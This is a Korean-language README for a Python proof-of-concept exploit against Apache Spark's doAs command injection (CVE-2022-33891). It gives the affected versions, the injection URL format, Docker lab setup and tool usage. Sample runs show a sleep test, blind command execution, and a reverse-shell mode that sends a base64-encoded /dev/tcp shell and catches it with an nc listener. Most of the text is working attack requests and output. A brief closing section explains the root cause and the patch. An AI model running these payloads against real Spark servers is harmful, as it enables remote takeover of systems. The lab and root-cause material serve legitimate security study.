
Python 기반 Apache Spark Shell 명령 주입(CVE-2022-33891) 개념 증명 도구로, 취약한 Spark UI를 대상으로 sleep 기반 탐지, 대화형 명령 실행, 리버스 셸 기능을 제공합니다.
Apache Spark 셸 명령 삽입 취약점
Apache Spark 셸 명령 삽입 취약점을 악용하기 위한 Python POC입니다. 다른 POC도 있지만 매우 의심스러워 보였습니다. 이 POC는 깔끔하고 간단합니다.
저는 이 익스플로잇/취약점을 발견하지 않았습니다. 단지 커뮤니티를 위한 안전한 POC를 만들고 싶었습니다 ^.^
Apache Spark 버전 3.0.3 이하, 버전 3.1.13.1.2, 버전 3.2.03.2.1
http://localhost:8080/?doAs=`[command injection here]`
예시
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`
... 10초 동안 대기합니다
취약한 버전의 Spark가 필요하며, 단일 구성 옵션을 변경해야 합니다.
$ pip3 install -r requirements.txtspark/ 디렉터리로 이동합니다.spark/ 디렉터리에 있는 docker-compose.yml을 사용하여 docker-compose up을 실행합니다. 컨테이너가 시작되도록 기다리세요.sudo docker exec -it spark_spark_1 /bin/bash를 입력합니다.echo "spark.acls.enable true" >> conf/spark-defaults.confspark-defaults.conf의 내용을 cat으로 확인하여 제대로 설정되었는지 확인합니다.docker-compose up을 다시 실행합니다.usage: poc.py [-h] -u URL -p PORT [--revshell] [-lh LISTENINGHOST] [-lp LISTENINGPORT] [--check]
CVE-2022-33891 Python POC Exploit Script
optional arguments:
-h, --help show this help message and exit
-u URL, --url URL URL to exploit.
-p PORT, --port PORT Exploit target's port.
--revshell Reverse Shell option.
-lh LISTENINGHOST, --listeninghost LISTENINGHOST
Your listening host IP address.
-lp LISTENINGPORT, --listeningport LISTENINGPORT
Your listening host port.
--check Checks if the target is exploitable with a sleep test
대상이 취약한지 확인하려면:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --check
[*] Attempting to connect to site...
[*] Performing sleep test of 10 seconds...
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgMTA= | base64 -d | bash`
[+] Sleep was 10 seconds! This target is probably vulnerable!
명령 프롬프트 루프에서 명령 실행:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080
[*] "Interactive" mode!
[!] Note: you will not receive any output from these commands. Try using something like ping or sleep to test for execution.
> sleep 5
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2xlZXAgNQ== | base64 -d | bash`
>
리버스 셸 실행:
husky@dev-kde:~/spark$ python3 poc.py -u http://localhost -p 8080 --revshell -lh 192.168.138.131 -lp 1337
[*] Reverse shell mode.
[*] Set up your listener by entering the following:
nc -nvlp 1337
[!] When your listener is set up, press enter!
[*] Full exploit request is: http://localhost:8080/?doAs=`echo c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xMzguMTMxLzEzMzcgMD4mMQ== | base64 -d | bash`
...[다른 터미널에서]...
husky@dev-kde:~/spark$ nc -nvlp 1337
Listening on 0.0.0.0 1337
Connection received on 172.21.0.2 55278
sh: 0: can't access tty; job control turned off
$ whoami
spark
명령 삽입은 Spark가 ?doAs 매개변수에 전달된 사용자의 그룹 멤버십을 원시 Linux 명령을 사용하여 확인하기 때문에 발생합니다.
사용자로 id를 전달하면 추적(traceback)에 다음과 같은 오류가 발생합니다:
spark_1 | 22/07/20 11:55:58 INFO Utils: id: 'id': no such user
spark_1 | 22/07/20 11:55:58 ERROR Utils: Process List(bash, -c, id -Gn 'id') exited with code 1:
spark_1 | 22/07/20 11:55:58 ERROR Utils: Error getting groups for user='id'
spark_1 | org.apache.spark.SparkException: Process List(bash, -c, id -Gn 'id') exited with code 1
여기서 Java는 특정 사용자의 그룹 멤버십을 확인하기 위해 id 명령을 bash -c에 전달하는 것이 가장 좋다고 결정했습니다. 문제는 이것이 명령 삽입도 허용한다는 점입니다.
패치된 버전은 이 호출을 매개변수화하여 bash -c id 대신 /bin/id 명령의 전체 경로를 사용합니다.
명령 실행 중에 페이지에 반영되는 내용이 없으므로 이는 블라인드 OS 삽입(blind OS injection)입니다. 명령이 실행되지만, 작동했는지 여부나 실행 중인 프로그램이 대상에 있는지에 대한 표시가 없습니다. 예를 들어, 이 리포지토리의 docker-compose.yml 파일로 시작된 컨테이너에는 ping이 없으므로 pingback을 통한 명령 삽입 확인이 작동하지 않습니다. 하지만 그 사실을 알 수 없으므로 작동했는지 궁금하게 남을 것입니다.
슬립 테스트(sleep test)가 안전한 방법입니다 ^.^